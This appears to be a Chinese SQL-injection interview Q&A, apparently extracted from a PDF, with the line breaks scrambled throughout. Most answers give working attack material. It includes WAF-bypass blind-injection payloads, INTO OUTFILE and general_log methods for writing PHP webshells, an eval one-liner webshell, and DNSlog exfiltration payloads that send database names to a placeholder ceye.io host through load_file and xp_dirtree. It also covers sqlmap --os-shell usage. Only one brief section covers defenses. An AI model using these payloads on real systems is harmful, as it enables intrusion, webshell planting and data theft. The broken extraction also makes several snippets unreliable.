九、如果网站 get 与 post 都做了防注入,还可以采用什么方式绕过
Cookices
注入绕过
十、 注入漏洞只能查账号密码?
最低权限都可以查找帐号和密码,如
mssql sa
权限可以获取系统权限,
dbowner
可以
获取
Webshell
,
public
可以脱库;
mysql root
权限、知道网站的绝对路径、数据库
my.ini
配
置文件
secure_file_priv
值为空时,就可以获取
webshell
并执行操作系统命令。
十一、 如何利用这个防注入系统拿 shell?
在
URL
里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个
时候可以尝试寻找网站的配置文件 直接上菜刀链接。
十二、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪 种是优选?
有写入权限的,构造联合查询语句使用
using INTO OUTFILE
,可以将查询的输出重定向
到系统的文件中,这样去写入
WebShell
使用
sqlmap –os-shell
原理和上面一种相同,来直
接获得一个
Shell
,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,
然后扫后台登录后台,再在后台通过改包上传等方法上传
Shell
十三、sqlmap,怎么对一个注入点注入?
1
)如果是
get
注入,直接,
sqlmap -u "
注入点网址
".
2)
如果是
post
注入,可以
sqlmap –r "burp
地址访问包
”
3
)如果是
cookie
,
X-Forwarded-For
等,可以访问的时候,用
burpsuite
抓包,注入处用号
替换,放到文件里,然后
sqlmap -r "
文件地址
"
,记得加上
—level 3
参数
十四、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg== DATA
有可能经过了
base64
编码再传入服务器,所以我们也
要对参数进行
base64
编码才能正确完成测试
十五、sql 注入写文件都有哪些函数?
union select "",2 into
outfile
"C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
十六、SQL 注入防护方法?
1
、涵数过滤,如
!is_numeric
涵数
//
判断变量
id
是否为数字
2
、直接下载相关防范注入文件,通过
incloud
包含放在网站配置文件里面,如
360
、阿里云、腾迅提供的防注入脚
本
3
、使用白名单来规范化输入验证方法
4
、采用
PDO
预处理
5
、使用
Waf
拦截
十七、 盲注 if 被过滤怎么绕过?
如果
and if
被
waf
拦截,我们可以使用内联注释来绕过函数的检测,如:
xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23
十八、 注入时,Waf 过滤了逗号,如何绕过?
在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用
join
来绕过
mysql> select user_id,user,password from users union select 1,2,3;
不出现逗号,使用
Join
来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join
(select 2)B join (select 3)C);
十九、MySQL 写 WebShell 有几种方式,利用条件?
一、
union select 后写入
lines terminated by 写 入
lines starting by 写 入fields
terminated by 写 入
COLUMNS terminated by 写 入
二、
root 权限
GPC 关闭(能使用单引号),magic_quotes_gpc=On 有
绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有 create、insert、select 的权限
二十、 Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mysql 下又如何?
1.没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火
墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进行请
求。
2.
此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域
名中,然后读取 DNS 解析时的日志,来获取想要的信息。
3.
Mysql 中利用 load_file() 构造 payload
创建数据表导出 shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘
@eval($_POST[pass]);?>’);
SELECT `content` FROM `shadow9` INTO OUTFILE‘
C:\\phpStudy\\WWW\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;
‘ and if((select load_file(concat(‘
\\\\’,(select
database()),’.xxx.ceye.io\\abc’))),1,0)#
4. Mssql 下 利 用 master..xp_dirtree 构 造 payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);
二十一、phpmyadmin 写 sehll 的方法
一、常规导入 shell 的操作
二、一句话导出 shell:
select
''
into outfile
'c:/phpstu
dy/www/90sec.php'
;
select
''
into outfile
'c:\\phpst
udy\\www\\90sec.php'
;
select
''
into dumpfile
'c:\\phps
tudy\\www\\bypass.php'
;
三、日志备份获取 shell
$dbh =
new
PDO(
"txf"
);
$name = $_GET[
'name'
];
$stmt = $dbh->prepare(
'SELECT * FROM '
. $name .
' where usern
ame = :username'
);
$stmt->execute(
array
(
':username'
=> $_REQUEST[
'username'
])
);
$pdo->query(
'SET NAMES gbk'
);
$var =
"\xbf\x27 OR 1=1 /*"
;
$query =
'SELECT * FROM test WHERE name = ? LIMIT 1'
;
$stmt = $pdo->prepare($query);
$stmt->execute(
array
($var));
//
关闭
general_log
//phpinfo()
写入日志
SELECT
''
;
文件
set global
general_log=
'off'
;
模式
//
设
//
开启
general log
模
SET global
general_log_file=
'D:/phpStudy/WWW/cmd.php'
;
置日志文件保存路径
//
查询
general
show global variables like
"%genera%"
;
_log
配置
set global
general_log=
'on'
;
二十二、 预编译能否 100%防 sql 注入,如果不能,写一个
答 :
不能。
一、
类似于宽字节注入
二、
参数 name 是一串数组,PDO 不会生效
三、
$stmt = $dbh->prepare(
'SELECT * FROM foo ORDER BY :userSuppli
edData'
);
PDO 对 DDL 不生效
二十三、
MySQL
有哪些获取系统信息的函数
如:Version()、user()、databases()、
SCHEMA()